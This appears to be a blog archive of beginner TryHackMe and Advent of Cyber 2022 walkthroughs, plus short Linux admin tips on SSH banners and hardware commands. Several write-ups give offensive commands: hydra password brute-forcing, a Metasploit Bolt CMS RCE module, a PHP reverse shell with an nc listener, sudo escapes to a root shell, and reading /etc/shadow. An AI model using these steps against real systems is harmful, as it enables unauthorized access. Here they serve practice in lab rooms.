Monday, December 5, 2022

TryHackMe.com - Advent of Cyber 2022 - Day 5 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 5, if anyone gets stuck.
  1. Q1

  2. TO scan initial scan of open ports you run nmap scan:
    nmap -sV VM_IP
    After that we try bruteforcing the VNC login password with hydra:
    hydra -s 5900 -P /usr/share/wordlists/rockyou.txt VM_IP vnc
  3. Q2

  4. We connect to the remote VM with Remmina tool installed on Attackbox with password we got with hydra tool. We can find the flag is written on the desktop background.
I hope anyone who gets stuck finds it helpful
AudiTTRSi

Sunday, December 4, 2022

TryHackMe.com - Advent of Cyber 2022 - Day 4 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 4, if anyone gets stuck.
  1. Q1 & Q2

  2. To answer first 2 questions you can use following command:
    nmap -sV [IP of attack VM ]
  3. Q3 & Q4

  4. For answering Q3 and Q4 you need to connect to samba share.
    To do that you open file explorer and enter smb://IP_of_samba_share and click on the admins folder and login with credentials provided in task.
I hope anyone who gets stuck finds it helpful
AudiTTRSi

Saturday, December 3, 2022

TryHackMe.com - Advent of Cyber 2022 - Day 3 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 3, if anyone gets stuck. Today's assinment is covering the OSINT technics.
OSINT is gathering and analysing publicly accessable data for intel purposes. For example:
  • the internet
  • mass media
  • journals and research pappers
  • photos
  • location informations
  1. Q1

  2. To anwser the first question you will need to visit who.is to get info about domain in question.
  3. Q2

  4. I was looking up on github to find source repository. What is the name of file where would you usally save settings ?
  5. Q3

  6. I was looking up on github to find source repository. What is the name of file where would you usally save settings ?
  7. Q4

  8. For succesfully answering this one you have to search through the file we talk in Q2 and Q3.
  9. Q5

  10. For succesfully answering this one you have to search through the file we talk in Q2 and Q3
I hope anyone who gets stuck finds it helpful AudiTTRSi

Friday, December 2, 2022

TryHackMe.com - Advent of Cyber 2022 - Day 2 - writeup

Advent of Cyber is now regular seasonal room on TryHackMe page. This is their 4th time and again with awsome story to follow each day's assignment. Here are my solutions for the Day 2, if anyone gets stuck.
  1. Q2

  2. To answer this use
    ls
    command on home folder
  3. Q3

  4. With previous command you answer the Q3.
  5. Q5

  6. Display server log file in console where you see dates and check the week day and you can answer the question.
  7. Q6

  8. With displaying the server log file we can see that logs contains only one IP address.
  9. Q7

  10. grep -v 404 webserver.log
    To display all lines that does not include 404 requests and see only succesful ones and you can then easly see
  11. Q8

  12. grep -i THM *.log

    grep through all log files in folder to find the flag.
I hope anyone finds it usefull AudiTTRSi

Saturday, November 5, 2022

How to change default ssh login banner

To create a cool ASCII art banner for your server, first start off by going here:

ASCII art creator/

To change the message displayed before login, edit /etc/ssh/sshd_config :
sudo vim /etc/ssh/sshd_config
and add (or uncomment) the line:
Banner /etc/banner
/etc/banner can be whatever file you want. Then edit /etc/banner
sudo vim /etc/banner
You’ll probably need to restart sshd before your changes take effect:
sudo /etc/init.d/ssh restart
To change the message displayed after login, edit /etc/motd :
sudo vim /etc/motd
and enter the message you want to display.

Friday, November 4, 2022

Linux system and Hardware details via command line

Uname command

Basic information can be access with command uname. Which is short for unix name.
  1. Linux Kernel Name
  2. uname -s
  3. Linux Kernel Release
  4. uname -r
  5. Linux Kernel Version
  6. uname -v
  7. Network Node Hostname
  8. uname -n
  9. Machine Hardware Architecture
  10. uname --m
  11. Processor Type
  12. uname -p
  13. Hardware Platform
  14. uname -i
  15. Operating System information
  16. uname -o
  17. Displaying All Information of Uname Command
  18. uname -a

CPU Information with lscpu command:

lscpu

Block Device Information with lsblk

lsblk
More detailed information for all devices:
lsblk -a

USB Device Info with lsusb

lsusb
More detailed information on each device:
lsusb -v

Monday, April 4, 2022

TryHackMe - Bolt

Bolt is one fo easiest room for beginers on TryHackMe.com After running basic nmap scan:

nmap -sC -sV Target_IP

We can see open ports, most intresting is port 8000 with running BOLT CMS.
After looking around the web page, we find login username and password in post on the page. We can search for vunlrabilities via web search and we can find following for Authenticated Remote Code Execution. How will you tackle this one? I used metasploit and use following module exploit/unix/webapp/bolt_authenticated_r. Throught the metasploit console set up needed variables LHOST, RHOST, USERNAME, PASSWORD and run the exploit. We need to run:

find / -type f -name flag.txt 2>/dev/null

and we get the flag in a seconds. I hope this short and easy tutorial helped anyone getting stucked in solving this room. audittrsi

Tuesday, March 22, 2022

TryHackMe - h4cked - walkthrough

H4cked is one of easy room on the TryHackMe.com In task 1 we are faced by pcap file of the attack on the VM. Most of the answers in Task 1 are found from pcap file which you open with wireshark. Task 2 in this task you try to regain access to the VM same way as hacker did in task 1.
  1. Step

  2. We use hydra to crack new password with following command

    hydra -l jenny -P /usr/share/wordlists/rockyou.txt ftp://target_IP

  3. Step

  4. We log to the ftp and download the shell.php (get shell.php - is the command) and change IP and port to our attack box and upload it back (put shell.php)
  5. Step
  6. Before move to the starting the php script we need to start nc listener on attacking box with

    nc -lvnp port_number

  7. Step
  8. Now we are ready to start php script shell.php from browser:

    IP_target_machine/shell.php

  9. Step
  10. We get spawned reverse shell in terminal, with whoami command we check which user we have, then we can use

    su jenny

    and log in with pass we cracked before with hydra
  11. Step
  12. After that we can use

    sudo su

    and we have root access with this we can read root flag.
I hope someone stucked in any step of solving this room finds this walkthrough useful.

Wednesday, February 23, 2022

TryHackMe - Pickle Rick - walkthrough

Pickle Rick - A Rick and Morty CTF. Help turn Rick back into a human!
It is a CTF room on TryHackMe page if you are fan of Rick and Morty cartoon you should defently try to solve it. It is not that hard and you can solve it pretty fast.
  1. step:
  2. Start target machine that you will try to exploit and start Attackbox machine.
  3. step:
  4. As usually we try with nmap scan to check what ports are open on target machine with command:

    nmap -sC -sV Target_IP


    With only 2 ports open we check the web page
  5. step:
  6. There is nothing much on the page but is it? We check the page source code where we find username which might be useful in next steps
  7. step:
  8. With use of the gobuster we scan webpage to find hidden files or directories I have used following command:

    gobuster dir -t 40 -u 10.10.151.87 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x html,php,txt -t 60


  9. step:
  10. We find the login.php access page but we are missing password. We check the robot.txt file and we get possible password candidate for login. Which turns out that it is actual username and pass.
  11. step:
  12. We end up on command panel where we can write some command like ls and we can see interesting files there with Q1 answer ingridient. We try opening filed with cat command File_name.txt but it doesnt allow us.
    We try with less command File_name.txt voila we opened it and we can answer first Q1.
  13. step:
  14. In this step we check the clue.txt file which says that we should look around directories for second ingridient. We try to get to other directories in /home/rick/ we find the file second ingridients. Since the spaces in files names and linux arent good friends we need to use less command like this:

    less '/home/rick/second ingredients'


    And voila we have 2nd ingredient and we can answer the Q2.
  15. step:
  16. with command

    sudo -l

    we check what we can run as root.
  17. step:
  18. we can try

    sudo ls -la /root

    and we find 3rd.txt
  19. step:
  20. Since we cannot open file in it's folder we can try copying to other directory and change permissions:

    sudo cp /root/3rd.txt /var/www/html/ && chmod 777 3rd.txt

  21. step:
  22. In browser open file via Target_IP/3rd.txt. and we can answer last Q3 in this room.
I hope anyone who gets stucked finds this writeup helpful.

Saturday, February 19, 2022

TryHackMe - Linux PrivEsc - Task 6 - Privilege Escalation : Sudo

This is probably one of the easiest type of PrivEsc tasks.
With command :

sudo -l

We check what services we can run as root. adn with this info we can answer Q1
From output of the command we see 3 services/programs that we can run as root. Now that we have this information we can head over to the GTFObins To check for each service/program that we can gain root access to system.
  • Find
  • sudo find . -exec /bin/sh \; -quit

  • Less
  • sudo less /etc/profile
    !/bin/sh

  • nano
  • sudo nano
    ^R^X
    reset; sh 1>&0 2>&0


Note about getting root via nano one command at the time ^R - is CTRL + R and ^X CTRL + X
To answer Q2 we run:

find / -type f -name flag2.txt 2>/dev/null

that we find path to the flag2.txt file
To answer Q3 we neet to check GTFObins to get command.
To answer Q4 we open /etc/shadow to find answer. I hope this post is helpfull for anyone stuck at solving this task.

Sunday, February 6, 2022

TryHackMe - Bounty Hacker -walkthrough

Bounty Hacker is one of easy rooms on TryHackMe.com
I was able to finish it up in couple of minutes with some reference from other similar rooms like this one.
  1. First step

  2. In this step you deploy the target VM and start Attackbox if you dont have it up already. It takes a minute or two to start up.

  3. Second step

  4. We use nmap to scan target VM.
    nmap -A -T4 _IP_target_VM

    Command takes some time to scan and display us back what ports are open. You can see 3 ports open 21 with FTP, 22 ssh and 80 apache server.

  5. Third step

  6. As FTP is open and it allows you to connect with anonymous user we try to connect to FTP server on target machine with command:
    FTP IP_target_VM

    When prompted for username you enter anonymous. We check what files we can find on server there are 2 files. One cointains note from one user this is also answer to the Q3 and other is list of what it looks like passwords. You can download files by command:
    get file_name

  7. Forth step

  8. We will use hydra brute forcing tool to check if any passwords from list we could obtain from FTP server. I used following command:
    hydra target_VM_IP ssh -l lin -P path_to_the_password_list -s 22 -vV

    SSH user i used the one i found in file on FTP server.

  9. Fifth step

  10. After Hydra finish its work and you get correct pass you can ssh to the target VM.

  11. Sixth step

  12. When we are logged in server I tried to find user flag and write location of the file into user-flag file:
    find / -type f -name user.txt 2>/dev/nul > user-flag 

  13. Seventh step

  14. In this step we check what command can current user run as sudo. We use:
    sudo -l

    As we see now only one command we can run. We had over to the GTFObins and check what command to run. Copy paste command to the command line and voila we have root access.
  15. Eighth step

  16. Last step is to find the root.txt file we write its location to root-flag file:
    find / -type f -name root.txt 2>/dev/null > /tmp/root-flag 


I hope this helps to the people who might get stucked during solving this room.

TryHackMe - Shadow Trace Writeup

 Shadow Trace is premium room on TryHackMe.com part of the SOC Level 1 Path. We need to analyse a suspicious file, uncover hidden clues, an...